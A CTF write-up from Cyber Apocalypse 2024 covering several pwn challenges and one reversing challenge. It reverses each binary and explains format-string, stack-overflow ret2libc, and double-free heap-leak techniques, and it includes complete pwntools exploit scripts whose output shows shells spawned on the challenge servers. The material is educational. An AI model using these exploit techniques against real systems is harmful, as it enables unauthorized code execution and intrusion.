Cyber Apocalypse 2024 - Hacker Royale
Overall a very nice CTF with a good difficulty curve and well made challenges. I managed to solve 7/10 pwn and 1 reversing challenge.
pwn/Tutorial
Before we start, practice time!
Attachment: pwn_tutorial.zip
Just use the given binary to answer the very basic questions regarding integer overflow.
pwn/Delulu
HALT! Recognition protocol initiated. Please present your face for scanning.
Attachment: pwn_delulu.zip
Analysis
On reversing with ghidra we get the following source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
undefined8 main(void)
{
long in_FS_OFFSET;
long local_48;
long *local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_48 = 0x1337babe;
local_40 = &local_48;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
read(0,&local_38,0x1f);
printf("\n[!] Checking.. ");
printf((char *)&local_38);
if (local_48 == 0x1337beef) {
delulu();
}
else {
error("ALERT ALERT ALERT ALERT\n");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void delulu(void)
{
ssize_t sVar1;
long in_FS_OFFSET;
char local_15;
int local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_14 = open("./flag.txt",0);
if (local_14 < 0) {
perror("\nError opening flag.txt, please contact an Administrator.\n");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("You managed to deceive the robot, here\'s your new identity: ");
while( true ) {
sVar1 = read(local_14,&local_15,1);
if (sVar1 < 1) break;
fputc((int)local_15,stdout);
}
close(local_14);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Clearly we will get the flag if we call delulu()
. That can be done if local_48 == 0x1337beef
, however local_48
is explicitly defined as 0x1337babe
. So obviously we need to partial overwrite the lower two bytes.
Vulnerability
We have format string vulnerability in this line of code printf((char *)&local_38);
. Since local_38
is our input, we basically control the format specifier part of printf()
. This gives us arbitrary read/write.
So we can use this to overwrite the lower 2 bytes of local_48
but it requires us to have a pointer to local_48
on the stack. Luckily that’s done for us:
1
2
local_48 = 0x1337babe;
local_40 = &local_48;
Exploit
According to 64-bit calling convention in linux, the first 6 arguments to any function are passed via registers and the rest are passed via the stack. So the 7th arg (index 6) to printf is the first stack value and the 8th arg (index 7) is the second stack value.
If you attach a debugger and look at the stack before the call to printf, you will see that the stack somewhat looks like that:
1
2
3
4
5
6
+----------+
| local_48 | <-- RSP
|----------|
| local_40 |
|----------|
| ... |
Basically:
7th arg [ index 6 ] = local_48
8th arg [ index 7 ] = local_40 (pointer to local_48)
So we can write to local_48
by using local_40
Here’s the solve script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
from pwn import *
exe = ELF("./delulu")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("83.136.250.218", 39766)
return r
def main():
r = conn()
# good luck pwning :)
r.sendline('%{}d%7$hn'.format(0xbeef).encode())
r.recvuntil(b'{')
flag = r.recvuntil(b'}')[:-1].decode()
r.recvuntil('HTB')
print(f'FLAG: HTB{r.recvline().strip().decode()}\n')
if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
$ python solve.py
[*] '/home/vulnx/Games/CTFs/Cyber Apocalypse/pwn/delulu/challenge/delulu'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 83.136.250.218 on port 39766: Done
FLAG: HTB{m45t3r_0f_d3c3pt10n}
[*] Closed connection to 83.136.250.218 port 39766
Flag
HTB{m45t3r_0f_d3c3pt10n}
pwn/Writing on the wall
As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door’s secrets?
Attachment: pwn_writing_on_the_wall.zip
Analysis
On reversing with ghidra we get the following source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
undefined8 main(void)
{
int iVar1;
long in_FS_OFFSET;
char local_1e [6];
undefined8 local_18;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
local_18 = 0x2073736170743377;
read(0,local_1e,7);
iVar1 = strcmp(local_1e,(char *)&local_18);
if (iVar1 == 0) {
open_door();
}
else {
error("You activated the alarm! Troops are coming your way, RUN!\n");
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void open_door(void)
{
ssize_t sVar1;
long in_FS_OFFSET;
char local_15;
int local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_14 = open("./flag.txt",0);
if (local_14 < 0) {
perror("\nError opening flag.txt, please contact an Administrator.\n");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("You managed to open the door! Here is the password for the next one: ");
while( true ) {
sVar1 = read(local_14,&local_15,1);
if (sVar1 < 1) break;
fputc((int)local_15,stdout);
}
close(local_14);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Our task is simple, get strcmp(local_1e,(char *)&local_18)
to return 0, then we unlock the door and get the flag. local_1e
is our input and local_18
is the buffer ( ‘w3tpass ‘ ).
However its not that simple:
1
read(0,local_1e,7);
It only takes 7 bytes from input and compares it with an 8 byte string ( ‘w3tpass ‘ ), so its practically impossible to get the condition true.
Vulnerability
However if you set a breakpoint at main+71
and run the binary with GDB and give it 1234567
as the input, you will get this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
0x00005555555555a6 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
*RAX 0x7fffffffdafa ◂— '12345673tpass '
RBX 0x0
RCX 0x7ffff7d147e2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x7fffffffdb00 ◂— '73tpass '
RDI 0x0
RSI 0x7fffffffdafa ◂— '12345673tpass '
R8 0x5555555592a0 ◂— 0x555555559
R9 0x7fffffff
R10 0x7ffff7fc3908 ◂— 0xd00120000000e
R11 0x246
R12 0x7fffffffdc28 —▸ 0x7fffffffdf97 ◂— '/home/vulnx/Games/CTFs/Cyber Apocalypse/pwn/Writing on the Wall/challenge/writing_on_the_wall'
R13 0x55555555555f (main) ◂— endbr64
R14 0x555555557d48 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555552a0 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
RBP 0x7fffffffdb10 ◂— 0x1
RSP 0x7fffffffdaf0 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
*RIP 0x5555555555a6 (main+71) ◂— mov rsi, rdx
─────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────
0x55555555559e <main+63> lea rdx, [rbp - 0x10]
0x5555555555a2 <main+67> lea rax, [rbp - 0x16]
► 0x5555555555a6 <main+71> mov rsi, rdx
0x5555555555a9 <main+74> mov rdi, rax
0x5555555555ac <main+77> call strcmp@plt <strcmp@plt>
0x5555555555b1 <main+82> test eax, eax
0x5555555555b3 <main+84> jne main+98 <main+98>
0x5555555555b5 <main+86> mov eax, 0
0x5555555555ba <main+91> call open_door <open_door>
0x5555555555bf <main+96> jmp main+113 <main+113>
0x5555555555c1 <main+98> lea rax, [rip + 0xb98]
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdaf0 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
01:0008│ rax-2 rsi-2 0x7fffffffdaf8 ◂— 'ST12345673tpass '
02:0010│ rdx 0x7fffffffdb00 ◂— '73tpass '
03:0018│-008 0x7fffffffdb08 ◂— 0xc198f41d898a6100
04:0020│ rbp 0x7fffffffdb10 ◂— 0x1
05:0028│+008 0x7fffffffdb18 —▸ 0x7ffff7c29d90 ◂— mov edi, eax
06:0030│+010 0x7fffffffdb20 —▸ 0x7ffff7e1b803 (_IO_2_1_stdout_+131) ◂— 0xe1ca700000000000
07:0038│+018 0x7fffffffdb28 —▸ 0x55555555555f (main) ◂— endbr64
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
We have our input in RDX and the source string in RAX. But look closely, the last byte of our input has overflowed to the first byte of source buffer:
1
'w3tpass ' -> '73tpass '
This means that, while we cannot make the two strings equal, we can control what the first byte of source string will be.
Exploit
How about we set it to NULL? That would terminate the source string at length: 0.
If our input also contains the first byte as NULL, then even our string is terminated at length 0.
TL;DR if give it 7 NULL bytes then:
first byte of our input: \x00
first byte of source string: \x00
Hence both strings will become equal and we pass the condition check
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
from pwn import *
exe = ELF("./writing_on_the_wall")
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("83.136.250.103", 52130)
return r
def main():
r = conn()
# good luck pwning :)
# gdb.attach(r, gdbscript='''
# b * main+71
# ''')
r.send(p64(0))
r.recvuntil(b'HTB')
print(f'FLAG: HTB{r.recvline().strip().decode()}')
if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
python solve.py
[*] '/home/vulnx/Games/CTFs/Cyber Apocalypse/pwn/Writing on the Wall/challenge/writing_on_the_wall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 83.136.250.103 on port 52130: Done
FLAG: HTB{3v3ryth1ng_15_r34d4bl3}
[*] Closed connection to 83.136.250.103 port 52130
Flag
HTB{3v3ryth1ng_15_r34d4bl3}
pwn/Pet companion
Attachment: pwn_pet_companion.zip
Analysis
On reversing with ghidra we get the following source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
undefined8 main(void)
{
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
undefined8 local_10;
setup();
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_18 = 0;
local_10 = 0;
write(1,"\n[!] Set your pet companion\'s current status: ",0x2e);
read(0,&local_48,0x100);
write(1,"\n[*] Configuring...\n\n",0x15);
return 0;
}
Vulnerability
We have a really obvious buffer overwrite vulnerability here. Our buffer is only 8 * 8 = 64 bytes long whereas we can store 0x100 (256) characters in it.
But the real question is what can we do wit the vuln, let’s run checksec and see what attacks are feasible:
1
2
3
4
5
6
7
8
$ checksec pet_companion
[*] '/home/vulnx/Games/CTFs/Cyber Apocalypse/pwn/Pet Companion/challenge/pet_companion'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
No canary
No PIE
Seems good. Our buffer is 64 bytes, RBP will be an additional 8 bytes, so the total offset to RIP would be 72. So we can redirect code execution, but where to go to?
Since there is no win
function for us, we have to rely on the good old ret2system technique ( thankfully we have the libc file )
But the remote server has ASLR enabled which means, to get the exact address of system()
we will need a libc leak. To get a leak we can use the GOT table via the following ROP chain (gadgets from the binary since PIE is disabled):
pop rdi ; ret
0x1 [ stdout file descriptor ]
pop rsi ; pop r15 ; ret ( due to unavailability of better gadget )
GOT[‘write’] (or any other GOT entry)
junk value (goes into r15)
PLT[‘write’] ( call : write(1, GOT[‘write’], RDX) )
exe.sym.main ( restart the program to avoid the crash and get another BoF )
Since RDX is already a high value (can be found via inspecting it in GDB), we don’t necessarily need to change it.
After we get the leak we can get libc base via:
1
libc.address = leak - libc.sym.write
and send the following ROP chain for the next BoF:
pop rdi ; ret
address to ‘/bin/sh’
system()
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pet_companion", checksec=False)
libc = ELF(exe.libc.path, checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("94.237.62.244", 46452)
return r
def main():
r = conn()
# good luck pwning :)
offset = 72
pop_rdi = 0x0000000000400743
pop_rsi_r15 = 0x0000000000400741
payload = flat({
offset : p64(pop_rdi),
offset + 8 : p64(1),
offset + 16 : p64(pop_rsi_r15),
offset + 24 : p64(exe.got.write),
offset + 32 : p64(0),
offset + 40 : p64(exe.plt.write),
offset + 48 : p64(exe.sym.main)
})
r.clean()
r.sendline(payload)
r.recvuntil(b'Configuring...\n\n')
leak = u64(r.recv(8))
print(f'{hex(leak)=}')
libc.address = leak - libc.sym.write
print(f'{hex(libc.address)=}')
payload = flat({
offset : p64(pop_rdi),
offset + 8 : p64(next(libc.search(b'/bin/sh\x00'))),
offset + 16 : p64(libc.sym.system)
})
r.sendlineafter(b'status: ', payload)
r.clean(timeout=1)
r.interactive()
if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ python solve.py
[+] Opening connection to 94.237.62.244 on port 46452: Done
hex(leak)='0x7f91426740f0'
hex(libc.address)='0x7f9142564000'
[*] Switching to interactive mode
$ id
uid=100(ctf) gid=101(ctf) groups=101(ctf)
$ whoami
ctf
$ ls
core
flag.txt
glibc
pet_companion
$ cat flag.txt
HTB{c0nf1gur3_w3r_d0g}
Flag
HTB{c0nf1gur3_w3r_d0g}
pwn/Rocket Blaster XXX
Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray—let the fight commence!
Attachment: pwn_rocket_blaster_xxx.zip
Literally same as Pet Companion
. Absolutely no change required in solve technique.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
from pwn import *
exe = ELF("./rocket_blaster_xxx")
libc = exe.libc
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("83.136.250.140", 58876)
return r
def main():
r = conn()
# good luck pwning :)
offset = 40
pop_rdi = 0x000000000040159f
pop_rsi = 0x000000000040159d
pop_rdx = 0x000000000040159b
payload = flat({
offset : p64(pop_rdi),
offset + 8 : p64(exe.got.puts),
offset + 16 : p64(exe.plt.puts),
offset + 24 : p64(exe.sym.main)
})
r.clean(timeout=2)
r.sendline(payload)
r.recvuntil(b'testing..\n')
leak = u64(r.recvline().strip().ljust(8, b'\x00'))
print(f'{hex(leak)=}')
libc.address = leak - libc.sym.puts
print(f'{hex(libc.address)=}')
payload = flat({
offset : p64(pop_rdi),
offset + 8 : p64(next(libc.search(b'/bin/sh\x00'))),
offset + 16 : p64(pop_rdi+1),
offset + 24 : p64(libc.sym.system)
})
r.sendlineafter(b'XX!\n\n>> ', payload)
r.interactive()
if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
> python solve.py
[+] Opening connection to 83.136.250.140 on port 58876: Done
hex(leak)='0x7b12a1e80e50'
hex(libc.address)='0x7b12a1e00000'
[*] Switching to interactive mode
Preparing beta testing..
$ cat flag.txt
HTB{b00m_b00m_r0ck3t_2_th3_m00n}
Flag
HTB{b00m_b00m_r0ck3t_2_th3_m00n}
pwn/Sound of Silence
I lost my writeup for this chall 😭 so you can refer this
pwn/Deathnote
You stumble upon a mysterious and ancient tome, said to hold the secret to vanquishing your enemies. Legends speak of its magic powers, but cautionary tales warn of the dangers of misuse.
Attachment: pwn_deathnote.zip
Analysis
On reversing with ghidra we get the following source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void main(void)
{
ulong choice;
long pages [10];
pages[0] = 0;
pages[1] = 0;
pages[2] = 0;
pages[3] = 0;
pages[4] = 0;
pages[5] = 0;
pages[6] = 0;
pages[7] = 0;
pages[8] = 0;
pages[9] = 0;
restart_loop:
while (choice = menu(), choice == 42) {
_(pages);
}
if (choice < 43) {
if (choice == 3) {
show(pages);
goto restart_loop;
}
if (choice < 4) {
if (choice == 1) {
add(pages);
}
else {
if (choice != 2) goto invalid;
delete(pages);
}
goto restart_loop;
}
}
invalid:
error("Invalid choice!\n");
goto restart_loop;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void delete(long pages)
{
byte index;
char is_correct;
long in_FS_OFFSET;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
printf(&DAT_0010268e);
index = read_num();
is_correct = check_idx(index);
if (is_correct == '\x01') {
if (*(long *)(pages + (ulong)index * 8) == 0) {
error("Page is already empty!\n");
}
else {
printf("%s\nRemoving page [%d]\n\n%s",&DAT_0010272e,(ulong)index,&DAT_00102008);
}
/* frees the memory irrespective of whether it is already freed or not */
free(*(void **)(pages + (ulong)index * 8));
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void _(char **pages)
{
code *pages[0];
long in_FS_OFFSET;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
puts("\x1b[1;33m");
cls();
printf(&DAT_00102750,&DAT_00102010,&DAT_001026b4,&DAT_00102010,&DAT_001026b4,&DAT_00102008);
pages[0] = (code *)strtoull(*pages,(char **)0x0,0x10);
if (((pages[0] == (code *)0x0) && (**pages != '0')) && ((*pages)[1] != 'x')) {
puts("Error: Invalid hexadecimal string");
}
else {
if ((*pages == (char *)0x0) || (pages[1] == (char *)0x0)) {
error("What you are trying to do is unacceptable!\n");
/* WARNING: Subroutine does not return */
exit(0x520);
}
puts(&DAT_00102848);
(*pages[0])(pages[1]);
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Vulnerability
The first vulnerability lies in delete()
here:
1
2
3
4
5
6
7
8
if (*(long *)(pages + (ulong)index * 8) == 0) {
error("Page is already empty!\n");
}
else {
printf("%s\nRemoving page [%d]\n\n%s",&DAT_0010272e,(ulong)index,&DAT_00102008);
}
/* frees the memory irrespective of whether it is already freed or not */
free(*(void **)(pages + (ulong)index * 8));
Regardless of whether the page is free or not, the program attempts to free it anyway (leading to double free).
The heap pointer is not NULL-ed out after freeing leading to Use-After-Free (UAF) vuln.
So we can use the Show
functionality to leak the chunk metadata.
The second vulnerability is in the _()
function:
1
(*pages[0])(pages[1]);
This basically allows us to call any function with any argument. So naturally I think of system('/bin/sh')
For that, we again need a libc leak.
NOTE: Program uses GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.6) stable release version 2.35.
So hooks are removed and tcachebin is introduced.
Exploit
A libc leak is trivial due to unsorted bin leak, but the issue is, the max chunk size can be 128 bytes, and on freeing that chunk it will land up either in fastbin (if tcache is full) or in the tcachebin.
The solution is to:
Allocate 7 chunks and free them … to fill tcachebin
Allocate two 128 bytes chunks and free them so that they consolidate into a single large chunk which cannot go in the fastbin, thus it lands in unsorted bin.
We can then leak the unsorted bin header and get a libc leak.
From then the plan is straightforward:
set page[0] = address of system()
set page[1] = ‘/bin/sh’
call
_()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
from pwn import *
exe = ELF("./deathnote", checksec=False)
libc = ELF(exe.libc.path, checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("94.237.58.148", 38866)
return r
def main():
r = conn()
def add(page, data):
r.sendline(b'1')
r.clean(timeout=.5).decode()
r.sendline(str(128).encode())
r.clean(timeout=.5).decode()
r.sendline(str(page).encode())
r.clean(timeout=.5).decode()
r.sendline(data)
r.clean(timeout=.5).decode()
def delete(page):
r.sendline(b'2')
r.clean(timeout=.5).decode()
r.sendline(str(page).encode())
r.clean(timeout=.5).decode()
def leak(page):
r.sendline(b'3')
r.clean(timeout=.5).decode()
r.sendline(str(page).encode())
r.recvuntil(b'Page content: ')
leak = r.recvline().strip()
return leak
# good luck pwning :)
# Alloc 7 chunks to fill tcache
for i in range(7):
add(i, b'A' * 8)
# Alloc two more chunks to go in unsorted bin
add(7, b'A' * 8)
add(8, b'A' * 8)
# Alloc another chunk to prevent consolidation between other chunks and top chunk
add(9, b'A' * 8)
# Free 7 chunks into tcache
for i in range(7):
delete(i)
delete(7) # Cause consolidation so that
delete(8) # chunk lands in unsorted bin
leak = u64(leak(7).ljust(8, b'\x00'))
log.info('Leak : %s' % hex(leak))
libc.address = leak - 0x21ace0
log.success('libc base : %s' % hex(libc.address))
add(0, hex(libc.sym.system).encode())
add(1, b'/bin/sh')
r.sendline(b'42')
r.clean(timeout=.5)
r.interactive()
if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ python solve.py
[+] Opening connection to 94.237.58.148 on port 38866: Done
[*] Leak : 0x7f26788f8ce0
[+] libc base : 0x7f26786de000
[*] Switching to interactive mode
$ id
uid=100(ctf) gid=101(ctf) groups=101(ctf)
$ whoami
ctf
$ ls
deathnote
flag.txt
glibc
$ cat flag.txt
HTB{0m43_w4_m0u_5h1nd31ru~uWu}
Flag
HTB{0m43_w4_m0u_5h1nd31ru~uWu}
rev/Crushing
Attachment: rev_crushing.zip
Analysis
On reversing with ghidra we get the following source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
undefined8 main(void)
{
int char;
long counter1;
long *pointer_to_buffer;
long buffer [256];
long counter2;
pointer_to_buffer = buffer;
for (counter1 = 255; counter1 != 0; counter1 = counter1 + -1) {
*pointer_to_buffer = 0;
pointer_to_buffer = pointer_to_buffer + 1;
}
counter2 = 0;
while( true ) {
char = getchar();
if (char == -1) break;
add_char_to_map(buffer,(char)char,counter2);
counter2 = counter2 + 1;
}
serialize_and_output(buffer);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void add_char_to_map(long buffer,byte char,long index)
{
long *malloc_address;
long buffer[char];
buffer[char] = *(long *)(buffer + (ulong)char * 8);
malloc_address = (long *)malloc(16);
*malloc_address = index;
malloc_address[1] = 0;
if (buffer[char] == 0) {
*(long **)((ulong)char * 8 + buffer) = malloc_address;
}
else {
for (; *(long *)(buffer[char] + 8) != 0; buffer[char] = *(long *)(buffer[char] + 8)) {
}
*(long **)(buffer[char] + 8) = malloc_address;
}
return;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void serialize_and_output(long buffer)
{
undefined8 len;
void **buffer[index];
void *index;
int counter;
for (counter = 0; counter < 255; counter = counter + 1) {
buffer[index] = (void **)(buffer + (long)counter * 8);
len = list_len(buffer[index]);
fwrite(&len,8,1,stdout);
for (index = *buffer[index]; index != (void *)0x0; index = *(void **)((long)index + 8)) {
fwrite(index,8,1,stdout);
}
}
return;
}
The program reads for input via stdin until a -1 (or EOF
) is received. Then it does some fancy parsing and prints it back. If we compare the a sample output of the program with the message.txt.cz
file in hex, it becomes obvious that the file contains the output of the program (possibly the flag was given as input). So our task is to understand the output format and attempt to reverse engineer the input given to the program.
We can see that the program starts off by NULLing out a stack array ( 256 long
elements ). It then calls add_char_to_map(buffer,(char)char,index);
for every character in our input with its corresponding index.
The add_char_to_map
function basically prepares 255 linked list where the nth element contains the position where (char)n
appeared in the input.
Then we serialize_and_output(buffer)
. That function prints the length of the linked list ( calculated via list_len()
) and then iterates over that list and prints out the positions where (char)index
appeared in the input.
Exploit
We can start by reading the message.txt.cz
file in 8 byte chunks and read the frequency of ith
character in the input and the next subsequent i
chunks as the indexes of where it appeared. We can create a dictionary containing characters and their respective indexes.
Then we create an empty string and fill it with our dictionary as the right places.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
with open('message.txt.cz', 'rb') as f:
data = f.read()
chars = {}
i = 0
current_char = 0
while current_char != 0xff:
number_of_indexes = u64(data[i:i+8])
i += 8
for j in range(number_of_indexes):
index = u64(data[i:i+8])
i += 8
if current_char not in chars.keys():
chars[current_char] = [index]
else:
chars[current_char].append(index)
current_char += 1
length = 0
for char in chars.keys():
length = max(length, max(chars[char]))
decrypted = [" " for _ in range(length+1)]
for char in chars.keys():
for index in chars[char]:
decrypted[index] = chr(char)
print(''.join(char for char in decrypted))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python solve.py
Organizer 1: Hey, did you finalize the password for the next... you know?
Organizer 2: Yeah, I did. It's "HTB{4_v3ry_b4d_compr3ss1on_sch3m3}"
Organizer 1: "HTB{4_v3ry_b4d_compr3ss1on_sch3m3}," got it. Sounds ominous enough to keep things interesting. Where do we spread the word?
Organizer 2: Let's stick to the usual channels: encrypted messages to the leaders and discreetly slip it into the training manuals for the participants.
Organizer 1: Perfect. And let's make sure it's not leaked this time. Last thing we need is an early bird getting the worm.
Organizer 2: Agreed. We can't afford any slip-ups, especially with the stakes so high. The anticipation leading up to it should be palpable.
Organizer 1: Absolutely. The thrill of the unknown is what keeps them coming back for more. "HTB{4_v3ry_b4d_compr3ss1on_sch3m3}" it is then.
It turns out that isn’t just the flag but rather a full-fledged conversation 😅
Flag
HTB{4_v3ry_b4d_compr3ss1on_sch3m3}